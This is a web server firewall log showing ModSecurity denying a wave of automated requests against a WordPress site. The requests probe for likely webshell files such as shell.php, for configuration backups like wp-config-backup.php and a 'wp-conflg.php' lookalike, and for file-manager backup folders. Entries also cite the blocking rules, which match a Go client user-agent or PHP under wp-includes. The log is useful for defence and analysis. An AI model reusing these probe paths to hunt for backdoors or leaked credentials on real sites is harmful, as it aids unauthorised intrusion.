[Sun May 24 18:43:44.230263 2026] [:error] [pid 49689:tid 49727] [client 203.25.124.49:63385] [client 203.25.124.49] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-signin.php"] [unique_id "ahLWYAaxiY3NxLUD97V2-wAAAIk"]
[Sun May 24 18:43:46.432116 2026] [:error] [pid 23497:tid 23514] [client 203.25.124.65:61897] [client 203.25.124.65] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/buy.php"] [unique_id "ahLWYiPlV47QcYwd2v_7ZgAAAU4"]
[Sun May 24 18:43:48.824345 2026] [:error] [pid 4777:tid 4798] [client 212.32.76.8:39421] [client 212.32.76.8] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentytwentyfour/patterns/template-singl-portfolio.php"] [unique_id "ahLWZPtPctoQOm4w5pN5MwAAAdA"]
[Sun May 24 18:43:49.929400 2026] [:error] [pid 41708:tid 41733] [client 203.25.124.215:61927] [client 203.25.124.215] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/news-portal/user-install.php"] [unique_id "ahLWZf4tQzoTxpuHBF7NVQAAAZc"]
[Sun May 24 18:43:50.839581 2026] [:error] [pid 4777:tid 4803] [client 203.25.124.35:33255] [client 203.25.124.35] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/system_core.php"] [unique_id "ahLWZvtPctoQOm4w5pN5NwAAAdU"]
[Sun May 24 18:43:51.728423 2026] [:error] [pid 49775:tid 49796] [client 212.32.76.13:36119] [client 212.32.76.13] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/admin.php"] [unique_id "ahLWZ4vZb8G6T8WpI1ic2wAAABM"]
[Sun May 24 18:43:52.731526 2026] [:error] [pid 23497:tid 23513] [client 203.25.124.69:41647] [client 203.25.124.69] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/chosen.php"] [unique_id "ahLWaCPlV47QcYwd2v_7aQAAAU0"]
[Sun May 24 18:43:59.825981 2026] [:error] [pid 23497:tid 23502] [client 203.25.124.67:54193] [client 203.25.124.67] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/config.php"] [unique_id "ahLWbyPlV47QcYwd2v_7bwAAAUI"]
[Sun May 24 18:44:00.935823 2026] [:error] [pid 41708:tid 41722] [client 203.25.124.32:32253] [client 203.25.124.32] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/freeform/"] [unique_id "ahLWcP4tQzoTxpuHBF7NZwAAAYw"]
[Sun May 24 18:44:03.426596 2026] [:error] [pid 49689:tid 49735] [client 203.25.124.64:26477] [client 203.25.124.64] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/button/"] [unique_id "ahLWcwaxiY3NxLUD97V3DgAAAJE"]
[Sun May 24 18:44:06.645390 2026] [:error] [pid 23497:tid 23505] [client 203.25.124.57:35425] [client 203.25.124.57] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/login.php"] [unique_id "ahLWdiPlV47QcYwd2v_7eQAAAUU"]
[Sun May 24 18:44:13.127315 2026] [:error] [pid 23497:tid 23524] [client 203.25.124.37:41923] [client 203.25.124.37] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/ectoplasm/"] [unique_id "ahLWfSPlV47QcYwd2v_7gAAAAVg"]
[Sun May 24 18:44:14.333646 2026] [:error] [pid 23497:tid 23503] [client 203.25.124.215:25779] [client 203.25.124.215] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/xxx.php"] [unique_id "ahLWfiPlV47QcYwd2v_7hQAAAUM"]
[Sun May 24 18:44:21.023891 2026] [:error] [pid 41708:tid 41732] [client 203.25.124.72:29639] [client 203.25.124.72] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/languages/autoload_classmap.php"] [unique_id "ahLWhf4tQzoTxpuHBF7NcQAAAZY"]
[Sun May 24 18:44:23.228628 2026] [:error] [pid 2639:tid 2655] [client 212.32.76.13:28673] [client 212.32.76.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/block-supports/chosen.php"] [unique_id "ahLWh0zQncQTd0Z0Oe9v_gAAAQ4"]
[Sun May 24 18:44:24.628437 2026] [:error] [pid 2639:tid 2642] [client 212.32.76.8:33747] [client 212.32.76.8] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/group/"] [unique_id "ahLWiEzQncQTd0Z0Oe9wAQAAAQE"]
[Sun May 24 18:44:27.332104 2026] [:error] [pid 49689:tid 49724] [client 203.25.124.74:62169] [client 203.25.124.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/Diff/Engine/template-singl-portfolio.php"] [unique_id "ahLWiwaxiY3NxLUD97V3HwAAAIY"]
[Sun May 24 18:44:28.338073 2026] [:error] [pid 2639:tid 2649] [client 203.25.124.31:52891] [client 203.25.124.31] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/media-text/"] [unique_id "ahLWjEzQncQTd0Z0Oe9wBQAAAQg"]
[Sun May 24 18:44:29.526473 2026] [:error] [pid 49689:tid 49742] [client 203.25.124.31:28951] [client 203.25.124.31] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/we.php"] [unique_id "ahLWjQaxiY3NxLUD97V3KQAAAJg"]
[Sun May 24 18:44:30.838332 2026] [:error] [pid 49688:tid 49703] [client 212.32.76.8:44035] [client 212.32.76.8] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/sunrise/"] [unique_id "ahLWjmYoQ9V6a_4pBsixGgAAAEw"]
[Sun May 24 18:44:31.941252 2026] [:error] [pid 4777:tid 4803] [client 203.25.124.31:30621] [client 203.25.124.31] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/files.php"] [unique_id "ahLWj_tPctoQOm4w5pN5WQAAAdU"]
[Sun May 24 18:44:32.824137 2026] [:error] [pid 4777:tid 4791] [client 212.32.76.13:26807] [client 212.32.76.13] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentynineteen/sass/site/"] [unique_id "ahLWkPtPctoQOm4w5pN5WwAAAck"]
[Sun May 24 18:44:33.846083 2026] [:error] [pid 41708:tid 41710] [client 203.25.124.211:47157] [client 203.25.124.211] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wmore1.php"] [unique_id "ahLWkf4tQzoTxpuHBF7NgAAAAYA"]
[Sun May 24 18:44:35.122468 2026] [:error] [pid 49688:tid 49711] [client 203.25.124.41:64153] [client 203.25.124.41] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/sodium_compat/namespaced/Core/"] [unique_id "ahLWk2YoQ9V6a_4pBsixIQAAAFQ"]
[Sun May 24 18:44:36.333016 2026] [:error] [pid 2639:tid 2662] [client 203.25.124.213:41515] [client 203.25.124.213] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/src/Content/Type/"] [unique_id "ahLWlEzQncQTd0Z0Oe9wCAAAARU"]
[Sun May 24 18:44:37.725481 2026] [:error] [pid 49689:tid 49726] [client 203.25.124.64:65293] [client 203.25.124.64] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentytwentyfour/assets/"] [unique_id "ahLWlQaxiY3NxLUD97V3MgAAAIg"]
[Sun May 24 18:44:38.928125 2026] [:error] [pid 41708:tid 41722] [client 203.25.124.54:50397] [client 203.25.124.54] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/file.php"] [unique_id "ahLWlv4tQzoTxpuHBF7NiAAAAYw"]
[Sun May 24 18:45:01.126217 2026] [:error] [pid 41708:tid 41733] [client 203.25.124.47:36161] [client 203.25.124.47] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/PHPMailer/widgets/"] [unique_id "ahLWrf4tQzoTxpuHBF7NpwAAAZc"]
[Sun May 24 18:45:03.031001 2026] [:error] [pid 2639:tid 2664] [client 203.25.124.51:47349] [client 203.25.124.51] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/radio.php"] [unique_id "ahLWr0zQncQTd0Z0Oe9wGgAAARc"]
[Sun May 24 18:45:04.227093 2026] [:error] [pid 2639:tid 2663] [client 203.25.124.42:35149] [client 203.25.124.42] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/wp-config-backup.php"] [unique_id "ahLWsEzQncQTd0Z0Oe9wHgAAARY"]
[Sun May 24 18:45:15.437753 2026] [:error] [pid 23497:tid 23505] [client 203.25.124.42:20347] [client 203.25.124.42] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/certificates/autoload_classmap.php"] [unique_id "ahLWuyPlV47QcYwd2v_7uQAAAUU"]
[Sun May 24 18:45:17.832095 2026] [:error] [pid 4777:tid 4790] [client 203.25.124.39:32939] [client 203.25.124.39] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/theme/about.php"] [unique_id "ahLWvftPctoQOm4w5pN5bQAAAcg"]
[Sun May 24 18:45:21.321851 2026] [:error] [pid 41708:tid 41730] [client 203.25.124.69:32929] [client 203.25.124.69] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/install.php"] [unique_id "ahLWwf4tQzoTxpuHBF7NwAAAAZQ"]
[Sun May 24 18:45:24.030512 2026] [:error] [pid 23497:tid 23504] [client 203.25.124.67:43385] [client 203.25.124.67] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/accordion/"] [unique_id "ahLWxCPlV47QcYwd2v_72QAAAUQ"]
[Sun May 24 18:45:25.221509 2026] [:error] [pid 2639:tid 2652] [client 203.25.124.215:56589] [client 203.25.124.215] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/script-loader-react-refresh.php"] [unique_id "ahLWxUzQncQTd0Z0Oe9wKgAAAQs"]
[Sun May 24 18:45:31.539068 2026] [:error] [pid 49744:tid 49755] [client 203.25.124.213:43505] [client 203.25.124.213] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/shell.php"] [unique_id "ahLWyzsE5kPdFpUbbHHSSQAAAMk"]
[Sun May 24 18:45:32.729762 2026] [:error] [pid 49688:tid 49707] [client 203.25.124.37:57435] [client 203.25.124.37] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/elementor/css/"] [unique_id "ahLWzGYoQ9V6a_4pBsixLAAAAFA"]
[Sun May 24 18:45:33.828366 2026] [:error] [pid 23497:tid 23524] [client 212.32.76.8:52655] [client 212.32.76.8] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/js/dist"] [unique_id "ahLWzSPlV47QcYwd2v_76AAAAVg"]
[Sun May 24 18:45:34.834622 2026] [:error] [pid 41708:tid 41719] [client 203.25.124.52:58539] [client 203.25.124.52] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/login.php"] [unique_id "ahLWzv4tQzoTxpuHBF7N0wAAAYk"]
[Sun May 24 18:45:40.931859 2026] [:error] [pid 23497:tid 23512] [client 203.25.124.211:53433] [client 203.25.124.211] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/dist/vendor/about.php"] [unique_id "ahLW1CPlV47QcYwd2v_8AwAAAUw"]
[Sun May 24 18:45:42.031214 2026] [:error] [pid 4777:tid 4792] [client 203.25.124.68:32471] [client 203.25.124.68] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/pomo/"] [unique_id "ahLW1vtPctoQOm4w5pN5fgAAAco"]
[Sun May 24 18:45:43.027771 2026] [:error] [pid 4777:tid 4796] [client 203.25.124.57:31779] [client 203.25.124.57] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/php-compat/"] [unique_id "ahLW1_tPctoQOm4w5pN5ggAAAc4"]
[Sun May 24 18:45:43.929233 2026] [:error] [pid 4777:tid 4787] [client 203.25.124.31:50075] [client 203.25.124.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/customize/222.php"] [unique_id "ahLW1_tPctoQOm4w5pN5hQAAAcU"]
[Sun May 24 18:45:45.131676 2026] [:error] [pid 49689:tid 49737] [client 212.32.76.9:38777] [client 212.32.76.9] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/spacer/"] [unique_id "ahLW2QaxiY3NxLUD97V3RQAAAJM"]
[Sun May 24 18:45:51.326957 2026] [:error] [pid 23497:tid 23505] [client 203.25.124.31:45443] [client 203.25.124.31] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/js/mediaelement/"] [unique_id "ahLW3yPlV47QcYwd2v_8GAAAAUU"]
[Sun May 24 18:45:52.132967 2026] [:error] [pid 49744:tid 49756] [client 203.25.124.64:50047] [client 203.25.124.64] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/endpoints/"] [unique_id "ahLW4DsE5kPdFpUbbHHSWwAAAMo"]
[Sun May 24 18:45:52.733874 2026] [:error] [pid 23497:tid 23507] [client 203.25.124.57:32701] [client 203.25.124.57] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/customize/wp-conflg.php"] [unique_id "ahLW4CPlV47QcYwd2v_8IAAAAUc"]
[Sun May 24 18:45:56.228115 2026] [:error] [pid 4777:tid 4793] [client 212.32.76.12:55563] [client 212.32.76.12] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/pullquote/"] [unique_id "ahLW5PtPctoQOm4w5pN5kQAAAcs"]
[Sun May 24 18:45:58.527493 2026] [:error] [pid 23497:tid 23508] [client 212.32.76.6:29051] [client 212.32.76.6] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/src/Auth/"] [unique_id "ahLW5iPlV47QcYwd2v_8NAAAAUg"]
[Sun May 24 18:45:58.928425 2026] [:error] [pid 49744:tid 49752] [client 203.25.124.55:44275] [client 203.25.124.55] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/wp-file-manager-pro/"] [unique_id "ahLW5jsE5kPdFpUbbHHSXQAAAMY"]
[Sun May 24 18:45:59.935503 2026] [:error] [pid 41708:tid 41734] [client 203.25.124.42:43701] [client 203.25.124.42] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/wp-file-manager-pro/fm_backup/"] [unique_id "ahLW5_4tQzoTxpuHBF7N2wAAAZg"]
[Sun May 24 18:46:00.922655 2026] [:error] [pid 41708:tid 41730] [client 203.25.124.37:47487] [client 203.25.124.37] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/cgi-bin/cgi-bin/cgi-bin/config.php"] [unique_id "ahLW6P4tQzoTxpuHBF7N3AAAAZQ"]
[Sun May 24 18:46:02.132801 2026] [:error] [pid 4777:tid 4785] [client 203.25.124.67:60285] [client 203.25.124.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/system.php"] [unique_id "ahLW6vtPctoQOm4w5pN5mAAAAcM"]
[Sun May 24 18:46:03.130561 2026] [:error] [pid 49744:tid 49759] [client 212.32.76.13:54267] [client 212.32.76.13] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/fonts/lato/"] [unique_id "ahLW6zsE5kPdFpUbbHHSbAAAAM0"]
